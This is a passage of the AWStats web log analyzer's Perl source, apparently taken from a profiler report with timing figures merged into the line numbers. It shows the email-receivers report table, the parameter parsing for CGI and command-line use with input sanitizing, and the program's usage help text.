5374 if ($ShowEMailSenders =~ /H/i) { print "<td>$_emails_h{$key}</td>"; }
5375 if ($ShowEMailSenders =~ /B/i) { print "<td nowrap=\"nowrap\">".Format_Bytes($_emails_k{$key})."</td>"; }
5376 if ($ShowEMailSenders =~ /M/i) { print "<td nowrap=\"nowrap\">".Format_Bytes($_emails_k{$key}/($_emails_h{$key}||1))."</td>"; }
5377 if ($ShowEMailSenders =~ /L/i) { print "<td nowrap=\"nowrap\">".($_emails_l{$key}?Format_Date($_emails_l{$key},1):'-')."</td>"; }
5378 print "</tr>\n";
5379 #$total_p += $_emails_p{$key};
5380 $total_h += $_emails_h{$key};
5381 $total_k += $_emails_k{$key};
5382 $count++;
5383 }
5384 $rest_p=0; # $rest_p=$TotalPages-$total_p;
5385 $rest_h=$TotalHits-$total_h;
5386 $rest_k=$TotalBytes-$total_k;
5387 if ($rest_p > 0 || $rest_h > 0 || $rest_k > 0) { # All other sender emails
5388 print "<tr><td colspan=\"3\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
5389 if ($ShowEMailSenders =~ /H/i) { print "<td>$rest_h</td>"; }
5390 if ($ShowEMailSenders =~ /B/i) { print "<td nowrap=\"nowrap\">".Format_Bytes($rest_k)."</td>"; }
5391 if ($ShowEMailSenders =~ /M/i) { print "<td nowrap=\"nowrap\">".Format_Bytes($rest_k/($rest_h||1))."</td>"; }
5392 if ($ShowEMailSenders =~ /L/i) { print "<td>&nbsp;</td>"; }
5393 print "</tr>\n";
5394 }
5395 &tab_end();
5396}
5397
5398
5399sub ShowEmailReceiversChart {
5400 my $NewLinkParams=shift;
5401 my $NewLinkTarget=shift;
5402 my $MaxLengthOfShownEMail=48;
5403
5404 my $total_p;my $total_h;my $total_k;
5405 my $max_p;my $max_h;my $max_k;
5406 my $rest_p;my $rest_h;my $rest_k;
5407
5408 # Show filter form
5409 #&ShowFormFilter("emailrfilter",$EmailrFilter);
5410 # Show emails list
5411
5412 print "$Center<a name=\"emailreceivers\">&nbsp;</a><br />\n";
5413 my $title;
5414 if ($HTMLOutput{'allemailr'} || $HTMLOutput{'lastemailr'}) {
5415 $title="$Message[132]";
5416 }
5417 else {
5418 $title="$Message[132] ($Message[77] $MaxNbOf{'EMailsShown'}) &nbsp; - &nbsp; <a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=allemailr"):"$PROG$StaticLinks.allemailr.$StaticExt")."\"$NewLinkTarget>$Message[80]</a>";
5419 if ($ShowEMailReceivers =~ /L/i) { $title.=" &nbsp; - &nbsp; <a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=lastemailr"):"$PROG$StaticLinks.lastemailr.$StaticExt")."\"$NewLinkTarget>$Message[9]</a>"; }
5420 }
5421 &tab_head("$title",19,0,'emailreceivers');
5422 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[132] : ".(scalar keys %_emailr_h)."</th>";
5423 if ($ShowEMailReceivers =~ /H/i) { print "<th rowspan=\"2\" bgcolor=\"#$color_h\" width=\"80\"".Tooltip(4).">$Message[57]</th>"; }
5424 if ($ShowEMailReceivers =~ /B/i) { print "<th rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\"".Tooltip(5).">$Message[75]</th>"; }
5425 if ($ShowEMailReceivers =~ /M/i) { print "<th rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>"; }
5426 if ($ShowEMailReceivers =~ /L/i) { print "<th rowspan=\"2\" width=\"120\">$Message[9]</th>"; }
5427 print "</tr>\n";
5428 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"30%\">Local</th><th>&nbsp;</th><th width=\"30%\">External</th></tr>";
5429 $total_p=$total_h=$total_k=0;
5430 $max_h=1; foreach (values %_emailr_h) { if ($_ > $max_h) { $max_h = $_; } }
5431 $max_k=1; foreach (values %_emailr_k) { if ($_ > $max_k) { $max_k = $_; } }
5432 my $count=0;
5433 if (! $HTMLOutput{'allemailr'} && ! $HTMLOutput{'lastemailr'}) { &BuildKeyList($MaxNbOf{'EMailsShown'},$MinHit{'EMail'},\%_emailr_h,\%_emailr_h); }
5434 if ($HTMLOutput{'allemailr'}) { &BuildKeyList($MaxRowsInHTMLOutput,$MinHit{'EMail'},\%_emailr_h,\%_emailr_h); }
5435 if ($HTMLOutput{'lastemailr'}) { &BuildKeyList($MaxRowsInHTMLOutput,$MinHit{'EMail'},\%_emailr_h,\%_emailr_l); }
5436 foreach my $key (@keylist) {
5437 my $newkey=$key;
5438 if (length($key)>$MaxLengthOfShownEMail) { $newkey=substr($key,0,$MaxLengthOfShownEMail)."..."; }
5439 my $bredde_h=0;my $bredde_k=0;
5440 if ($max_h > 0) { $bredde_h=int($BarWidth*$_emailr_h{$key}/$max_h)+1; }
5441 if ($max_k > 0) { $bredde_k=int($BarWidth*$_emailr_k{$key}/$max_k)+1; }
5442 print "<tr>";
5443 my $direction=IsLocalEMail($key);
5444 if ($direction > 0) { print "<td class=\"aws\">$newkey</td><td>&lt;-</td><td>&nbsp;</td>"; }
5445 if ($direction == 0) { print "<td colspan=\"3\"><span style=\"color: #$color_other\">$newkey</span></td>"; }
5446 if ($direction < 0) { print "<td class=\"aws\">&nbsp;</td><td>-&gt;</td><td>$newkey</td>"; }
5447 if ($ShowEMailReceivers =~ /H/i) { print "<td>$_emailr_h{$key}</td>"; }
5448 if ($ShowEMailReceivers =~ /B/i) { print "<td>".Format_Bytes($_emailr_k{$key})."</td>"; }
5449 if ($ShowEMailReceivers =~ /M/i) { print "<td>".Format_Bytes($_emailr_k{$key}/($_emailr_h{$key}||1))."</td>"; }
5450 if ($ShowEMailReceivers =~ /L/i) { print "<td>".($_emailr_l{$key}?Format_Date($_emailr_l{$key},1):'-')."</td>"; }
5451 print "</tr>\n";
5452 #$total_p += $_emailr_p{$key};
5453 $total_h += $_emailr_h{$key};
5454 $total_k += $_emailr_k{$key};
5455 $count++;
5456 }
5457 $rest_p=0; # $rest_p=$TotalPages-$total_p;
5458 $rest_h=$TotalHits-$total_h;
5459 $rest_k=$TotalBytes-$total_k;
5460 if ($rest_p > 0 || $rest_h > 0 || $rest_k > 0) { # All other receiver emails
5461 print "<tr><td colspan=\"3\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
5462 if ($ShowEMailReceivers =~ /H/i) { print "<td>$rest_h</td>"; }
5463 if ($ShowEMailReceivers =~ /B/i) { print "<td>".Format_Bytes($rest_k)."</td>"; }
5464 if ($ShowEMailReceivers =~ /M/i) { print "<td>".Format_Bytes($rest_k/($rest_h||1))."</td>"; }
5465 if ($ShowEMailReceivers =~ /L/i) { print "<td>&nbsp;</td>"; }
5466 print "</tr>\n";
5467 }
5468 &tab_end();
5469}
5470
5471
5472
5473#------------------------------------------------------------------------------
5474# MAIN
5475#------------------------------------------------------------------------------
547632.2e-57.3e-6($DIR=$0) =~ s/([^\/\\]+)$//; ($PROG=$1) =~ s/\.([^\.]*)$//; $Extension=$1;
547723.1e-51.6e-5$DIR||='.'; $DIR =~ s/([^\/\\])[\\\/]+$/$1/;
5478
547917.0e-67.0e-6$starttime=time();
5480
5481# Get current time (time when AWStats was started)
548219.0e-69.0e-6($nowsec,$nowmin,$nowhour,$nowday,$nowmonth,$nowyear,$nowwday,$nowyday) = localtime($starttime);
548315.0e-65.0e-6$nowweekofmonth=int($nowday/7);
548427.0e-63.5e-6$nowweekofyear=int(($nowyday-1+6-($nowwday==0?6:$nowwday-1))/7)+1; if ($nowweekofyear > 52) { $nowweekofyear = 1; }
548512.0e-62.0e-6$nowdaymod=$nowday%7;
548611.0e-61.0e-6$nowwday++;
548712.0e-52.0e-5$nowns=Time::Local::timegm(0,0,0,$nowday,$nowmonth,$nowyear);
# spent 78µs making 1 call to Time::Local::timegm
548835.0e-61.7e-6if ($nowdaymod <= $nowwday) { if (($nowwday != 7) || ($nowdaymod != 0)) { $nowweekofmonth=$nowweekofmonth+1; } }
548911.0e-61.0e-6if ($nowdaymod > $nowwday) { $nowweekofmonth=$nowweekofmonth+2; }
5490# Change format of time variables
549113.0e-63.0e-6$nowweekofmonth="0$nowweekofmonth";
549224.0e-62.0e-6if ($nowweekofyear < 10) { $nowweekofyear = "0$nowweekofyear"; }
549323.0e-61.5e-6if ($nowyear < 100) { $nowyear+=2000; } else { $nowyear+=1900; }
549425.0e-62.5e-6$nowsmallyear=$nowyear;$nowsmallyear =~ s/^..//;
549525.0e-62.5e-6if (++$nowmonth < 10) { $nowmonth = "0$nowmonth"; }
549611.0e-61.0e-6if ($nowday < 10) { $nowday = "0$nowday"; }
549711.0e-61.0e-6if ($nowhour < 10) { $nowhour = "0$nowhour"; }
549811.0e-61.0e-6if ($nowmin < 10) { $nowmin = "0$nowmin"; }
549911.0e-61.0e-6if ($nowsec < 10) { $nowsec = "0$nowsec"; }
550017.0e-67.0e-6$nowtime=int($nowyear.$nowmonth.$nowday.$nowhour.$nowmin.$nowsec);
5501# Get tomorrow time (will be used to discard some record with corrupted date (future date))
550215.0e-65.0e-6my ($tomorrowsec,$tomorrowmin,$tomorrowhour,$tomorrowday,$tomorrowmonth,$tomorrowyear) = localtime($starttime+86400);
550322.0e-61.0e-6if ($tomorrowyear < 100) { $tomorrowyear+=2000; } else { $tomorrowyear+=1900; }
550412.0e-62.0e-6if (++$tomorrowmonth < 10) { $tomorrowmonth = "0$tomorrowmonth"; }
5505100if ($tomorrowday < 10) { $tomorrowday = "0$tomorrowday"; }
550611.0e-61.0e-6if ($tomorrowhour < 10) { $tomorrowhour = "0$tomorrowhour"; }
550711.0e-61.0e-6if ($tomorrowmin < 10) { $tomorrowmin = "0$tomorrowmin"; }
550811.0e-61.0e-6if ($tomorrowsec < 10) { $tomorrowsec = "0$tomorrowsec"; }
550915.0e-65.0e-6$tomorrowtime=int($tomorrowyear.$tomorrowmonth.$tomorrowday.$tomorrowhour.$tomorrowmin.$tomorrowsec);
5510
5511# Allowed option
551211.3e-51.3e-5my @AllowedCLIArgs=('migrate','config',
5513'logfile','output','runascli','update',
5514'staticlinks','staticlinksext','noloadplugin','loadplugin',
5515'hostfilter','urlfilter','refererpagesfilter',
5516'lang','month','year','framename','debug',
5517'showsteps','showdropped','showcorrupted','showunknownorigin',
5518'limitflush','confdir','updatefor',
5519'hostfilter','hostfilterex','urlfilter','urlfilterex','refererpagesfilter','refererpagesfilterex',
5520'pluginmode','filterrawlog');
5521
5522# Parse input parameters and sanitize them for security reasons
552312.0e-62.0e-6$QueryString='';
5524# AWStats use GATEWAY_INTERFACE to known if ran as CLI or CGI. AWSTATS_DEL_GATEWAY_INTERFACE can
5525# be set to force AWStats to be ran as CLI even from a web page.
552612.0e-62.0e-6if ($ENV{'AWSTATS_DEL_GATEWAY_INTERFACE'}) { $ENV{'GATEWAY_INTERFACE'}=''; }
5527255.5e-52.2e-6if ($ENV{'GATEWAY_INTERFACE'}) { # Run from a browser as CGI
5528 $DebugMessages=0;
5529 # Prepare QueryString
5530 if ($ENV{'CONTENT_LENGTH'}) {
5531 binmode STDIN;
5532 read(STDIN, $QueryString, $ENV{'CONTENT_LENGTH'});
5533 }
5534 if ($ENV{'QUERY_STRING'}) {
5535 $QueryString = $ENV{'QUERY_STRING'};
5536 # Set & and &amp; to &amp;
5537 $QueryString =~ s/&amp;/&/g;
5538 $QueryString =~ s/&/&amp;/g;
5539 }
5540
5541 # Remove all XSS vulnerabilities coming from AWStats parameters
5542 $QueryString = CleanXSS(&DecodeEncodedString($QueryString));
5543
5544 # Security test
5545 if ($QueryString =~ /LogFile=([^&]+)/i) { error("Logfile parameter can't be overwritten when AWStats is used from a CGI"); }
5546
5547 # No update but report by default when run from a browser
5548 $UpdateStats=($QueryString=~/update=1/i?1:0);
5549
5550 if ($QueryString =~ /config=([^&]+)/i) { $SiteConfig=&Sanitize("$1"); }
5551 if ($QueryString =~ /diricons=([^&]+)/i) { $DirIcons="$1"; }
5552 if ($QueryString =~ /pluginmode=([^&]+)/i) { $PluginMode=&Sanitize("$1",1); }
5553 if ($QueryString =~ /configdir=([^&]+)/i) { $DirConfig=&Sanitize("$1"); }
5554 # All filters
5555 if ($QueryString =~ /hostfilter=([^&]+)/i) { $FilterIn{'host'}="$1"; } # Filter on host list can also be defined with hostfilter=filter
5556 if ($QueryString =~ /hostfilterex=([^&]+)/i) { $FilterEx{'host'}="$1"; } #
5557 if ($QueryString =~ /urlfilter=([^&]+)/i) { $FilterIn{'url'}="$1"; } # Filter on URL list can also be defined with urlfilter=filter
5558 if ($QueryString =~ /urlfilterex=([^&]+)/i) { $FilterEx{'url'}="$1"; } #
5559 if ($QueryString =~ /refererpagesfilter=([^&]+)/i) { $FilterIn{'refererpages'}="$1"; } # Filter on referer list can also be defined with refererpagesfilter=filter
5560 if ($QueryString =~ /refererpagesfilterex=([^&]+)/i) { $FilterEx{'refererpages'}="$1"; } #
5561 # All output
5562 if ($QueryString =~ /output=allhosts:([^&]+)/i) { $FilterIn{'host'}="$1"; } # Filter on host list can be defined with output=allhosts:filter to reduce number of lines read and showed
5563 if ($QueryString =~ /output=lasthosts:([^&]+)/i) { $FilterIn{'host'}="$1"; } # Filter on host list can be defined with output=lasthosts:filter to reduce number of lines read and showed
5564 if ($QueryString =~ /output=urldetail:([^&]+)/i) { $FilterIn{'url'}="$1"; } # Filter on URL list can be defined with output=urldetail:filter to reduce number of lines read and showed
5565 if ($QueryString =~ /output=refererpages:([^&]+)/i) { $FilterIn{'refererpages'}="$1"; } # Filter on referer list can be defined with output=refererpages:filter to reduce number of lines read and showed
5566
5567 # If migrate
5568 if ($QueryString =~ /(^|-|&|&amp;)migrate=([^&]+)/i) {
5569 $MigrateStats=&Sanitize("$2");
5570 $MigrateStats =~ /^(.*)$PROG(\d{0,2})(\d\d)(\d\d\d\d)(.*)\.txt$/;
5571 $SiteConfig=$5?$5:'xxx'; $SiteConfig =~ s/^\.//; # SiteConfig is used to find config file
5572 }
5573}
5574else { # Run from command line
5575 $DebugMessages=1;
5576 # Prepare QueryString
5577 for (0..@ARGV-1) {
5578 # If migrate
557952.0e-54.0e-6 if ($ARGV[$_] =~ /(^|-|&|&amp;)migrate=([^&]+)/i) {
5580 $MigrateStats="$2";
5581 $MigrateStats =~ /^(.*)$PROG(\d{0,2})(\d\d)(\d\d\d\d)(.*)\.txt$/;
5582 $SiteConfig=$5?$5:'xxx'; $SiteConfig =~ s/^\.//; # SiteConfig is used to find config file
5583 next;
5584 }
5585 # TODO Check if ARGV is in @AllowedArg
5586 if ($QueryString) { $QueryString .= '&amp;'; }
5587 my $NewLinkParams=$ARGV[$_]; $NewLinkParams =~ s/^-+//;
5588 $QueryString .= "$NewLinkParams";
5589 }
5590
5591 # Remove all XSS vulnerabilities coming from AWStats parameters
5592 $QueryString = CleanXSS($QueryString);
# spent 31µs making 1 call to main::CleanXSS
5593
5594 # Security test
5595 if ($ENV{'AWSTATS_DEL_GATEWAY_INTERFACE'} && $QueryString =~ /LogFile=([^&]+)/i) { error("Logfile parameter can't be overwritten when AWStats is used from a CGI"); }
5596
5597 # Update with no report by default when run from command line
5598 $UpdateStats=1;
5599
560011.7e-51.7e-5 if ($QueryString =~ /config=([^&]+)/i) { $SiteConfig=&Sanitize("$1"); }
# spent 22µs making 1 call to main::Sanitize
5601 if ($QueryString =~ /diricons=([^&]+)/i) { $DirIcons="$1"; }
5602 if ($QueryString =~ /pluginmode=([^&]+)/i) { $PluginMode=&Sanitize("$1",1); }
5603 if ($QueryString =~ /configdir=([^&]+)/i) { $DirConfig=&Sanitize("$1"); }
5604 # All filters
5605 if ($QueryString =~ /hostfilter=([^&]+)/i) { $FilterIn{'host'}="$1"; } # Filter on host list can also be defined with hostfilter=filter
5606 if ($QueryString =~ /hostfilterex=([^&]+)/i) { $FilterEx{'host'}="$1"; } #
5607 if ($QueryString =~ /urlfilter=([^&]+)/i) { $FilterIn{'url'}="$1"; } # Filter on URL list can also be defined with urlfilter=filter
5608 if ($QueryString =~ /urlfilterex=([^&]+)/i) { $FilterEx{'url'}="$1"; } #
5609 if ($QueryString =~ /refererpagesfilter=([^&]+)/i) { $FilterIn{'refererpages'}="$1"; } # Filter on referer list can also be defined with refererpagesfilter=filter
5610 if ($QueryString =~ /refererpagesfilterex=([^&]+)/i) { $FilterEx{'refererpages'}="$1"; } #
5611 # All output
5612 if ($QueryString =~ /output=allhosts:([^&]+)/i) { $FilterIn{'host'}="$1"; } # Filter on host list can be defined with output=allhosts:filter to reduce number of lines read and showed
5613 if ($QueryString =~ /output=lasthosts:([^&]+)/i) { $FilterIn{'host'}="$1"; } # Filter on host list can be defined with output=lasthosts:filter to reduce number of lines read and showed
5614 if ($QueryString =~ /output=urldetail:([^&]+)/i) { $FilterIn{'url'}="$1"; } # Filter on URL list can be defined with output=urldetail:filter to reduce number of lines read and showed
5615 if ($QueryString =~ /output=refererpages:([^&]+)/i) { $FilterIn{'refererpages'}="$1"; } # Filter on referer list can be defined with output=refererpages:filter to reduce number of lines read and showed
5616 # Config parameters
5617 if ($QueryString =~ /LogFile=([^&]+)/i) { $LogFile="$1"; }
5618
5619 # If show options
5620 if ($QueryString =~ /showsteps/i) { $ShowSteps=1; $QueryString=~s/showsteps[^&]*//i; }
5621 if ($QueryString =~ /showcorrupted/i) { $ShowCorrupted=1; $QueryString=~s/showcorrupted[^&]*//i; }
5622 if ($QueryString =~ /showdropped/i) { $ShowDropped=1; $QueryString=~s/showdropped[^&]*//i; }
5623 if ($QueryString =~ /showunknownorigin/i) { $ShowUnknownOrigin=1; $QueryString=~s/showunknownorigin[^&]*//i; }
5624
5625}
562614.0e-64.0e-6if ($QueryString =~ /(^|&|&amp;)staticlinks/i) { $StaticLinks=".$SiteConfig"; }
562713.0e-63.0e-6if ($QueryString =~ /(^|&|&amp;)staticlinks=([^&]+)/i) { $StaticLinks=".$2"; } # When ran from awstatsbuildstaticpages.pl
562813.0e-63.0e-6if ($QueryString =~ /(^|&|&amp;)staticlinksext=([^&]+)/i) { $StaticExt="$2"; }
562914.0e-64.0e-6if ($QueryString =~ /(^|&|&amp;)framename=([^&]+)/i) { $FrameName="$2"; }
563014.0e-64.0e-6if ($QueryString =~ /(^|&|&amp;)debug=(\d+)/i) { $Debug=$2; }
563112.0e-62.0e-6if ($QueryString =~ /(^|&|&amp;)databasebreak=(\w+)/i) { $DatabaseBreak=$2; }
563214.0e-64.0e-6if ($QueryString =~ /(^|&|&amp;)updatefor=(\d+)/i) { $UpdateFor=$2; }
563313.0e-63.0e-6if ($QueryString =~ /(^|&|&amp;)noloadplugin=([^&]+)/i) { foreach (split(/,/,$2)) { $NoLoadPlugin{&Sanitize("$_",1)}=1; } }
563414.0e-64.0e-6if ($QueryString =~ /(^|&|&amp;)limitflush=(\d+)/i) { $LIMITFLUSH=$2; }
5635# Get/Define output
563614.0e-64.0e-6if ($QueryString =~ /(^|&|&amp;)output(=[^&]*|)(.*)(&|&amp;)output(=[^&]*|)(&|$)/i) { error("Only 1 output option is allowed","","",1); }
563715.0e-65.0e-6if ($QueryString =~ /(^|&|&amp;)output(=[^&]*|)(&|$)/i) {
5638 # At least one output expected. We define %HTMLOutput
5639 my $outputlist="$2";
5640 if ($outputlist) {
5641 $outputlist =~ s/^=//;
5642 foreach my $outputparam (split(/,/,$outputlist)) {
5643 $outputparam=~s/:(.*)$//;
5644 if ($outputparam) { $HTMLOutput{lc($outputparam)}="$1"||1; }
5645 }
5646 }
5647 # If on command line and no update
5648 if (! $ENV{'GATEWAY_INTERFACE'} && $QueryString !~ /update/i) { $UpdateStats=0; }
5649 # If no output defined, used default value
5650 if (! scalar keys %HTMLOutput) { $HTMLOutput{'main'}=1; }
5651}
565212.0e-62.0e-6if ($ENV{'GATEWAY_INTERFACE'} && ! scalar keys %HTMLOutput) { $HTMLOutput{'main'}=1; }
5653
5654# Remove -output option with no = from QueryString
565526.0e-63.0e-6$QueryString=~s/(^|&|&amp;)output(&|$)/$1/i; $QueryString=~s/&+$//;
5656
5657# Check year, month, day, hour parameters
565814.0e-64.0e-6if ($QueryString =~ /(^|&|&amp;)month=(year)/i) { error("month=year is a deprecated option. Use month=all instead."); }
565929.0e-64.5e-6if ($QueryString =~ /(^|&|&amp;)year=(\d\d\d\d)/i) { $YearRequired=sprintf("%04d",$2); }
5660else { $YearRequired="$nowyear"; }
566121.1e-55.5e-6if ($QueryString =~ /(^|&|&amp;)month=(\d{1,2})/i) { $MonthRequired=sprintf("%02d",$2); }
5662elsif ($QueryString =~ /(^|&|&amp;)month=(all)/i) { $MonthRequired='all'; }
5663else { $MonthRequired="$nowmonth"; }
566428.0e-64.0e-6if ($QueryString =~ /(^|&|&amp;)day=(\d{1,2})/i) { $DayRequired=sprintf("%02d",$2); } # day is a hidden option. Must not be used (Make results not understandable). Available for users that rename history files with day.
5665else { $DayRequired=''; }
566627.0e-63.5e-6if ($QueryString =~ /(^|&|&amp;)hour=(\d{1,2})/i) { $HourRequired=sprintf("%02d",$2); } # hour is a hidden option. Must not be used (Make results not understandable). Available for users that rename history files with day.
5667else { $HourRequired=''; }
5668
5669# Check parameter validity
5670# TODO
5671
5672# Print AWStats and Perl version
567312.0e-62.0e-6if ($Debug) {
5674 debug(ucfirst($PROG)." - $VERSION - Perl $^X $]",1);
5675 debug("DIR=$DIR PROG=$PROG Extension=$Extension",2);
5676 debug("QUERY_STRING=$QueryString",2);
5677 debug("HTMLOutput=".join(',',keys %HTMLOutput),1);
5678 debug("YearRequired=$YearRequired, MonthRequired=$MonthRequired",2);
5679 debug("DayRequired=$DayRequired, HourRequired=$HourRequired",2);
5680 debug("UpdateFor=$UpdateFor",2);
5681 debug("PluginMode=$PluginMode",2);
5682 debug("DirConfig=$DirConfig",2);
5683}
5684
5685# Force SiteConfig if AWSTATS_FORCE_CONFIG is defined
568612.0e-62.0e-6if ($ENV{'AWSTATS_CONFIG'}) { $ENV{'AWSTATS_FORCE_CONFIG'}=$ENV{'AWSTATS_CONFIG'}; } # For backward compatibility
568711.0e-61.0e-6if ($ENV{'AWSTATS_FORCE_CONFIG'}) {
5688 if ($Debug) { debug("AWSTATS_FORCE_CONFIG parameter is defined to '".$ENV{'AWSTATS_FORCE_CONFIG'}."'. $PROG will use this as config value."); }
5689 $SiteConfig=&Sanitize($ENV{'AWSTATS_FORCE_CONFIG'});
5690}
5691
569211.0e-61.0e-6if ((! $ENV{'GATEWAY_INTERFACE'}) && (! $SiteConfig)) {
5693 &Read_Ref_Data('browsers','domains','operating_systems','robots','search_engines','worms');
5694 print "----- $PROG $VERSION (c) 2000-2007 Laurent Destailleur -----\n";
5695 print "AWStats is a free web server logfile analyzer to show you advanced web\n";
5696 print "statistics.\n";
5697 print "AWStats comes with ABSOLUTELY NO WARRANTY. It's a free software distributed\n";
5698 print "with a GNU General Public License (See LICENSE file for details).\n";
5699 print "\n";
5700 print "Syntax: $PROG.$Extension -config=virtualhostname [options]\n";
5701 print "\n";
5702 print " This runs $PROG in command line to update statistics of a web site, from\n";
5703 print " the log file defined in AWStats config file (with -update option), or build\n";
5704 print " a HTML report (with -output option).\n";
5705 print " First, $PROG tries to read $PROG.virtualhostname.conf as the config file.\n";
5706 print " If not found, $PROG tries to read $PROG.conf\n";
5707 print " Note 1: Config files ($PROG.virtualhostname.conf or $PROG.conf) must be\n";
5708 print " in /etc/awstats, /usr/local/etc/awstats, /etc or same directory than\n";
5709 print " awstats.pl script file.\n";
5710 print " Note 2: If AWSTATS_FORCE_CONFIG environment variable is defined, AWStats will\n";
5711 print " use it as the \"config\" value, whatever is the value on command line or URL.\n";
5712 print " See AWStats documentation for all setup instrutions.\n";
5713 print "\n";
5714 print "Options to update statistics:\n";
5715 print " -update to update statistics (default)\n";
5716 print " -showsteps to add benchmark information every $NBOFLINESFORBENCHMARK lines processed\n";
5717 print " -showcorrupted to add output for each corrupted lines found, with reason\n";
5718 print " -showdropped to add output for each dropped lines found, with reason\n";
5719 print " -updatefor=n to stop the update process after parsing n lines\n";
5720 print " -LogFile=x to change log to analyze whatever is 'LogFile' in config file\n";
5721 print " Be care to process log files in chronological order when updating statistics.\n";
5722 print "\n";
5723 print "Options to show statistics:\n";
5724 print " -output to output main HTML report (no update made except with -update)\n";
5725 print " -output=x to output other report pages where x is:\n";
5726 print " alldomains to build page of all domains/countries\n";
5727 print " allhosts to build page of all hosts\n";
5728 print " lasthosts to build page of last hits for hosts\n";
5729 print " unknownip to build page of all unresolved IP\n";
5730 print " allemails to build page of all email senders (maillog)\n";
5731 print " lastemails to build page of last email senders (maillog)\n";
5732 print " allemailr to build page of all email receivers (maillog)\n";
5733 print " lastemailr to build page of last email receivers (maillog)\n";
5734 print " alllogins to build page of all logins used\n";
5735 print " lastlogins to build page of last hits for logins\n";
5736 print " allrobots to build page of all robots/spider visits\n";
5737 print " lastrobots to build page of last hits for robots\n";
5738 print " urldetail to list most often viewed pages \n";
5739 print " urldetail:filter to list most often viewed pages matching filter\n";
5740 print " urlentry to list entry pages\n";
5741 print " urlentry:filter to list entry pages matching filter\n";
5742 print " urlexit to list exit pages\n";
5743 print " urlexit:filter to list exit pages matching filter\n";
5744 print " osdetail to build page with os detailed versions\n";
5745 print " browserdetail to build page with browsers detailed versions\n";
5746 print " unknownbrowser to list 'User Agents' with unknown browser\n";
5747 print " unknownos to list 'User Agents' with unknown OS\n";
5748 print " refererse to build page of all refering search engines\n";
5749 print " refererpages to build page of all refering pages\n";
5750 #print " referersites to build page of all refering sites\n";
5751 print " keyphrases to list all keyphrases used on search engines\n";
5752 print " keywords to list all keywords used on search engines\n";
5753 print " errors404 to list 'Referers' for 404 errors\n";
5754 print " -staticlinks to have static links in HTML report page\n";
5755 print " -staticlinksext=xxx to have static links with .xxx extension instead of .html\n";
5756 print " -lang=LL to output a HTML report in language LL (en,de,es,fr,it,nl,...)\n";
5757 print " -month=MM to output a HTML report for an old month MM\n";
5758 print " -year=YYYY to output a HTML report for an old year YYYY\n";
5759 print " Those 'date' options doesn't allow you to process old log file. They only\n";
5760 print " allow you to see a past report for a chosen month/year period instead of\n";
5761 print " current month/year.\n";
5762 print "\n";
5763 print "Other options:\n";
5764 print " -debug=X to add debug informations lesser than level X (speed reduced)\n";
5765 print "\n";
5766 print "Now supports/detects:\n";
5767 print " Web/Ftp/Mail/streaming server log analyzis (and load balanced log files)\n";
5768 print " Reverse DNS lookup (IPv4 and IPv6) and GeoIP lookup\n";
5769 print " Number of visits, number of unique visitors\n";
5770 print " Visits duration and list of last visits\n";
5771 print " Authenticated users\n";
5772 print " Days of week and rush hours\n";
5773 print " Hosts list and unresolved IP addresses list\n";
5774 print " Most viewed, entry and exit pages\n";
5775 print " Files type and Web compression (mod_gzip, mod_deflate stats)\n";
5776 print " Screen size\n";
5777 print " Number of times site is 'added to favorites bookmarks'\n";
5778 print " Ratio of Browsers with support of: Java, Flash, RealG2 reader,\n";
5779 print " Quicktime reader, WMA reader, PDF reader\n";
5780 print " Configurable personalized reports\n";
5781 print " ".(scalar keys %DomainsHashIDLib)." domains/countries\n";
5782 print " ".(scalar keys %RobotsHashIDLib)." robots\n";
5783 print " ".(scalar keys %WormsHashLib)." worm's families\n";
5784 print " ".(scalar keys %OSHashLib)." operating systems\n";
5785 print " ".(scalar keys %BrowsersHashIDLib)." browsers";
5786 &Read_Ref_Data('browsers_phone');
5787 print " (".(scalar keys %BrowsersHashIDLib)." with phone browsers database)\n";
5788 print " ".(scalar keys %SearchEnginesHashLib)." search engines (and keyphrases/keywords used from them)\n";
5789 print " All HTTP errors with last referrer\n";
5790 print " Report by day/month/year\n";
5791 print " Dynamic or static HTML or XHTML reports, static PDF reports\n";
5792 print " Indexed text or XML monthly database\n";
5793 print " And a lot of other advanced features and options...\n";
5794 print "New versions and FAQ at http://awstats.sourceforge.net\n";
5795 exit 2;
5796}
579711.0e-61.0e-6$SiteConfig||=&Sanitize($ENV{'SERVER_NAME'});
5798#$ENV{'SERVER_NAME'}||=$SiteConfig; # For thoose who use __SERVER_NAME__ in conf file and use CLI.
579918.0e-68.0e-6$ENV{'AWSTATS_CURRENT_CONFIG'}=$SiteConfig;
5800
5801# Read config file (SiteConfig must be defined)
580211.2e-51.2e-5&Read_Config($DirConfig);
# spent 21.7ms making 1 call to main::Read_Config
5803
5804# Check language
580517.0e-67.0e-6if ($QueryString =~ /(^|&|&amp;)lang=([^&]+)/i) { $Lang="$2"; }
580651.8e-53.6e-6if (! $Lang || $Lang eq 'auto') { # If lang not defined or forced to auto
5807 my $langlist=$ENV{'HTTP_ACCEPT_LANGUAGE'}||''; $langlist =~ s/;[^,]*//g;
5808 if ($Debug) { debug("Search an available language among HTTP_ACCEPT_LANGUAGE=$langlist",1); }
5809 foreach my $code (split(/,/,$langlist)) { # Search for a valid lang in priority
5810 if ($LangBrowserToLangAwstats{$code}) { $Lang=$LangBrowserToLangAwstats{$code}; if ($Debug) { debug(" Will try to use Lang=$Lang",1); } last; }
5811 $code =~ s/-.*$//;
5812 if ($LangBrowserToLangAwstats{$code}) { $Lang=$LangBrowserToLangAwstats{$code}; if ($Debug) { debug(" Will try to use Lang=$Lang",1); } last; }
5813 }
5814}
581534.0e-61.3e-6if (! $Lang || $Lang eq 'auto') {
5816 if ($Debug) { debug(" No language defined or available. Will use Lang=en",1); }
5817 $Lang='en';
5818}
5819
5820# Check and correct bad parameters
582112.3e-52.3e-5&Check_Config();
# spent 523µs making 1 call to main::Check_Config
5822# Now SiteDomain is defined
5823
582411.0e-61.0e-6if ($Debug && ! $DebugMessages) {
5825 error("Debug has not been allowed. Change DebugMessages parameter in config file to allow debug.");
5826}
5827
5828# Define frame name and correct variable for frames
